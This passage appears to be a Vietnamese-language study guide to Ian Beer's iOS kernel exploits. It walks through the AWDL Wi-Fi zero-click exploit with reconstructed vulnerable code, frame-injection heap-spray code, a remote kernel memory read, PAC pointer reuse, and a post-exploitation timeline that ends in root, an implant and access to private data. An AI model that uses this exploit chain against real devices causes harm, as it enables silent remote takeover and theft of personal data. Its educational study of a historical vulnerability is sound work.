 * IO80211AWDLPeer structure layout (reconstructed):
 *   +0x0000: vtable pointer
 *   +0x0008: refcount
 *   ...
 *   +0x1648: sync_tree_macs[60]  // Buffer 60 bytes = 10 MAC addresses
 *   +0x1684: sync_tree_count     // Number of MACs stored
 *   ...
 *   +0x16A0: steering_msg_blob   // Pointer to steering data
 *   +0x16A8: steering_msg_size   // Size of steering data
 *   ...
 *   +0x1700: next_peer           // Linked list pointer
 *
 * parseAwdlSyncTreeTLV: parser cho AWDL Sync Tree TLV
 * TLV = Type-Length-Value encoding trong AWDL action frame
 */

// Reconstructed vulnerable function:
void IO80211AWDLPeer::parseAwdlSyncTreeTLV(
    uint8_t *tlv_data, uint16_t tlv_total_len)
{
    // TLV header:
    //   byte 0: type (AWDL_SYNC_TREE_TLV = 0x14)
    //   byte 1-2: length (16-bit, little-endian)
    //   byte 3+: data (array of 6-byte MAC addresses)

    uint16_t data_len = *(uint16_t*)(tlv_data + 1);
    // ^^^ UNTRUSTED! Comes from Wi-Fi frame
    // Valid range: 0-60 bytes (10 MACs * 6 bytes)
    // Actual range: 0-65535 (16-bit value)

    if (data_len > 1024) return;  // "Bounds check" — BUT 1024 >> 60!

    // BUG: 1024 bytes allowed nhung buffer chi 60 bytes
    // Overflow: 1024 - 60 = 964 bytes past buffer end

    // Destination: this->sync_tree_macs (offset +0x1648)
    memcpy(this->sync_tree_macs,    // dest: 60-byte buffer
           tlv_data + 3,             // src: attacker-controlled
           data_len);                // size: up to 1024!

    // OVERFLOW vao cac fields sau sync_tree_macs:
    //   +0x1684: sync_tree_count    (corrupted)
    //   ...
    //   +0x16A0: steering_msg_blob  (POINTER - fully controlled!)
    //   +0x16A8: steering_msg_size  (SIZE - fully controlled!)
    //   ...
    //   +0x1700: next_peer pointer  (can corrupt peer list!)

    this->sync_tree_count = data_len / 6;
}

/*
 * Overflow moi lan la 6 bytes (1 MAC address) vi data
 * duoc interpret nhu array of MACs.
 * Nhung tong cong co the overflow 1024 - 60 = 964 bytes
 * -> Control nhieu fields trong IO80211AWDLPeer structure
 */

SRD (Service Response Descriptor) as Remote Heap Spray

/*
 * Van de: Lam sao heap spray tu REMOTE (khong co code execution)?
 *
 * AWDL protocol co Service Response Descriptors (SRDs):
 * Moi AWDL action frame co the chua nhieu SRD TLVs.
 * Moi SRD = kernel allocates buffer de store service data.
 *
 * -> SRD = REMOTE HEAP SPRAY PRIMITIVE
 */

// Attacker's AWDL frame construction:
struct awdl_action_frame {
    // 802.11 header
    struct ieee80211_header wifi_hdr;

    // AWDL fixed header (8 bytes)
    uint8_t awdl_category;       // 0x7F (vendor specific)
    uint8_t awdl_oui[3];         // 00:17:F2 (Apple)
    uint8_t awdl_type;           // 0x08 (AWDL)
    uint8_t awdl_version;
    uint8_t awdl_subtype;        // Action frame subtype
    uint8_t awdl_reserved;

    // TLV chain:
    struct srd_tlv srds[];       // Multiple SRDs
};

struct srd_tlv {
    uint8_t type;                // SRD TLV type
    uint16_t length;             // Length of data
                                 // Range: 1 - 65535
                                 // -> kalloc(length) allocation!
    uint8_t data[];              // Arbitrary content
};

/*
 * Moi SRD TLV trigger:
 *   1. kernel: buf = kalloc(tlv->length)
 *   2. kernel: memcpy(buf, tlv->data, tlv->length)
 *   3. kernel: store buf trong peer's service list
 *
 * Attacker controls:
 *   - SIZE: tlv->length (1 byte to 64KB)
 *     -> Chon CHINH XAC kalloc zone target
 *     -> Vi du: length=0xa8 -> kalloc.176 (same as ipc_port)
 *   - CONTENT: tlv->data (arbitrary bytes)
 *     -> Fake structures, fake pointers, fake vtables
 *   - COUNT: nhieu SRDs per frame, nhieu frames per second
 *     -> Thousands of allocations per second
 *
 * Grooming strategy:
 */

// Tu attacker machine (Raspberry Pi):

// Phase 1: Spray SRDs de fill target zone
for (int i = 0; i < 4000; i++) {
    struct awdl_action_frame *frame = build_srd_frame(
        target_size,        // kalloc zone to target
        spray_pattern,      // Content: fake structures
        1                   // 1 SRD per frame
    );
    inject_wifi_frame(frame);
    usleep(200);  // Pace de khong overwhelm Wi-Fi stack
}

// Phase 2: Create IO80211AWDLPeer objects (heap objects to corrupt)
// Gui AWDL frames voi different source MAC addresses
// -> Moi unique MAC = new IO80211AWDLPeer allocation
for (int i = 0; i < 200; i++) {
    uint8_t fake_mac[6] = {0x02, 0x00, 0x00, 0x00,
                           (i >> 8) & 0xFF, i & 0xFF};
    struct awdl_action_frame *frame = build_peer_frame(fake_mac);
    inject_wifi_frame(frame);
    usleep(500);
}

// Phase 3: Create holes - deauthenticate specific "peers"
// -> Free specific allocations -> create holes in heap
// -> Overflow into adjacent object
for (int i = 100; i < 150; i++) {
    uint8_t fake_mac[6] = {0x02, 0x00, 0x00, 0x00,
                           (i >> 8) & 0xFF, i & 0xFF};
    struct awdl_action_frame *frame = build_deauth_frame(fake_mac);
    inject_wifi_frame(frame);
    usleep(200);
}

// Phase 4: Trigger overflow
// Gui Sync Tree TLV voi length > 60 bytes
// -> Overflow into adjacent IO80211AWDLPeer
// -> Corrupt steering_msg_blob + steering_msg_size
struct awdl_action_frame *overflow_frame = build_overflow_frame(
    target_peer_mac,
    corrupt_data,       // Data that overwrites steering fields
    corrupt_data_len    // 60 + N bytes (N = overflow amount)
);
inject_wifi_frame(overflow_frame);

BSS Steering Trick: Remote Kernel Read

/*
 * Sau khi corrupt steering_msg_blob va steering_msg_size,
 * ta co the DOC kernel memory REMOTELY.
 *
 * IO80211AWDLPeer co BSS (Basic Service Set) steering mechanism:
 * Khi state machine trigger BSS steering:
 *   1. Kernel doc steering_msg_blob (pointer) va steering_msg_size
 *   2. Kernel copy steering_msg_size bytes tu steering_msg_blob
 *   3. Kernel embed data vao outbound AWDL frame
 *   4. Frame duoc transmit qua Wi-Fi radio
 *   5. Attacker capture frame voi monitor mode adapter
 *
 * -> KERNEL MEMORY DISCLOSURE QUA WI-FI!
 */

// After overflow corrupted peer structure:
// steering_msg_blob = TARGET_KERNEL_ADDRESS
// steering_msg_size = READ_SIZE (e.g., 256 bytes)

// Trigger BSS steering state machine:
void trigger_bss_steering(uint8_t *target_mac) {
    // Gui AWDL frames de trigger state transition
    // Peer state: IDLE -> SCANNING -> STEERING
    struct awdl_action_frame *trigger = build_steering_trigger(
        target_mac,
        BSS_STEERING_REQUEST,
        channel_info
    );
    inject_wifi_frame(trigger);
}

// Capture response:
void capture_kernel_leak(int monitor_fd) {
    uint8_t buf[4096];
    while (1) {
        int len = read(monitor_fd, buf, sizeof(buf));
        if (len <= 0) continue;

        // Parse captured frame
        struct ieee80211_header *hdr = (void*)buf;
        if (!is_awdl_frame(hdr)) continue;

        // Tim BSS steering response trong frame
        uint8_t *steering_data = find_steering_tlv(buf, len);
        if (steering_data) {
            // steering_data chua kernel memory content!
            // Vi kernel da copy tu steering_msg_blob (ta set)
            // len outbound frame
            printf("Kernel leak at %p:\n", TARGET_KERNEL_ADDRESS);
            hexdump(steering_data, READ_SIZE);
            break;
        }
    }
}

/*
 * Voi kernel read primitive nay:
 *   1. Leak kernel base (scan cho Mach-O header magic)
 *   2. Leak kernel data structures (allproc, tasks, etc.)
 *   3. Build full kernel memory map
 *
 * Tat ca tu REMOTE — khong can chay code tren victim device!
 */

PAC Handling: Zero-Context Signing

/*
 * iPhone XS/XR tro len co PAC (Pointer Authentication Codes).
 * Normally PAC se ngan chan vtable corruption.
 *
 * NHUNG: AWDL code dung zero-context signing cho nhieu pointers.
 * Zero-context = PAC key + context = 0
 *
 * Dieu nay co nghia:
 *   1. Moi pointer duoc sign voi cung context (0)
 *   2. Valid signed pointer o mot location = valid o MOI location
 *   3. Neu ta COPY mot valid signed pointer -> no van valid!
 *
 * Exploitation:
 *   - Khong can FORGE PAC signatures
 *   - Chi can REUSE existing signed pointers
 *   - Leak signed vtable pointer tu mot object
 *   - Overwrite vtable pointer cua TARGET object voi leaked value
 *   - PAC check passes vi signature van valid (zero context)!
 */

// Vi du: corrupt IO80211AWDLPeer vtable pointer
// Step 1: Leak valid signed vtable pointer tu mot peer object
uint64_t leaked_vtable_ptr = kernel_read64(peer_A + 0x0);
// leaked_vtable_ptr co valid PAC signature (zero context)

// Step 2: Overwrite target peer's vtable
kernel_write64(peer_B + 0x0, leaked_vtable_ptr);
// PAC check se PASS vi:
//   sign(vtable_addr, key, context=0) == leaked signature
//   Context la 0 cho CA HAI locations -> same PAC

/*
 * Limitation:
 *   - Chi reuse EXISTING pointers (khong forge moi)
 *   - Can leak before corrupt
 *   - Nhung vi AWDL structures lon va co nhieu pointers
 *     -> Du material de xay dung attack
 *
 * Day la weakness cua zero-context PAC:
 *   PAC hieu qua nhat khi context = unique per-location
 *   Zero context = all locations equivalent = weak
 */

Full Attack Timeline: 2 Minutes to Compromise

Minute 0:00 - 0:15: Activate AWDL interface
  - Broadcast AirDrop-like BLE advertisements
  - Target device auto-enables AWDL interface
  - Confirmed khi target responds to AWDL sync frames

Minute 0:15 - 0:45: Heap grooming via SRD spray
  - Send 4000+ AWDL frames voi SRD TLVs
  - Fill target kalloc zones voi controlled data
  - Create IO80211AWDLPeer objects (fake source MACs)
  - Punch holes (deauthenticate selected peers)

Minute 0:45 - 1:15: Trigger overflow + kernel read
  - Send crafted Sync Tree TLV voi oversized data
  - Overflow corrupts steering_msg_blob + steering_msg_size
  - Trigger BSS steering -> capture kernel data in Wi-Fi frames
  - Leak kernel_slide, task addresses, proc addresses

Minute 1:15 - 1:45: Build kernel write primitive
  - Corrupt function pointer trong IO80211AWDLPeer
  - Trigger controlled kernel code execution
  - Overwrite kernel data structures

Minute 1:45 - 2:00: Post-exploitation
  - Modify ucred -> root
  - Null sandbox slot -> unsandboxed
  - Inject implant process
  - Full device access: photos, messages, location, keychain

Total: ~2 minutes, ZERO user interaction

Kỹ Thuật Chung Của Ian Beer

Fake Task Port Pattern

Duoc Beer popularize va refine qua nhieu exploits:

1. Trigger kernel vulnerability → get dangling/corrupted port reference
2. Heap spray OOL port descriptors → replace freed port memory
3. Fake port structure:
   ip_object.io_bits = IO_BITS_ACTIVE | IKOT_TASK
   kdata.task = address of fake task structure
4. Fake task structure:
   map = kernel_map address
5. mach_vm_read(fake_port, kaddr, size) → reads kernel memory
6. mach_vm_write(fake_port, kaddr, data, size) → writes kernel memory

Evolved over:
  mach_portal (2016) → async_wake (2017) → various (2018-2019)
Killed by:
  zone_require (iOS 14) + PAC (iOS 12+ arm64e)

Write-Up Style

Beer’s write-ups follow consistent pattern — excellent for learning:

  1. Vulnerability discovery — how the bug was found
  2. Root cause — why the bug exists in code
  3. Exploitation strategy — how to turn bug into primitive
  4. Heap layout control — specific grooming technique
  5. Primitive construction — building kread/kwrite
  6. Post-exploitation — what you can do with it

Evolution of Defenses vs Ian Beer’s Techniques

iOS 10 (2016): mach_portal
  Defenses: KASLR, basic zone separation
  Bypass: trivial, zones not isolated

iOS 11 (2017): async_wake
  Defenses: KASLR improved
  Bypass: OOL spray crosses zones, fake port still works

iOS 12 (2018): PAC introduced (arm64e only)
  Impact: Cannot forge kernel pointers on A12+
  Bypass: arm64 devices (A11 and earlier) unaffected
          pid_for_task kread does not need forged pointers

iOS 13 (2019): oob_timestamp era
  Defenses: zone_require prototype
  Bypass: physical memory mapping bypasses all VM defenses

iOS 14 (2020): zone_require enforced
  Impact: IKOT_TASK port MUST be in ipc_ports zone
  Result: Fake task port technique DEAD
  -> Community moves to new primitives (kfd, smith, etc.)

iOS 15+ (2021): PPL + CTRR + kalloc_type
  Impact: Hardware-enforced page protection
  Result: Physical mapping technique blocked
  -> Must find PPL vulnerabilities or new attack surfaces

Tài Nguyên — Đọc Theo Thứ Tự

  1. mach_portal (2016) — Start here: introduces Mach port exploitation
  2. async_wake (2017) — Refined IOSurface + fake port technique
  3. A very deep dive into iOS Exploit chains (2019) — Real-world chain analysis, 5 parts
  4. One Byte to Rule Them All (2020, Brandon Azad) — vm_map_copy type confusion
  5. AWDL Radio Proximity Exploit (2020) — Magnum opus: wormable zero-click
  6. A Survey of Recent iOS Kernel Exploits (2020) — Overview tổng hợp

Source Code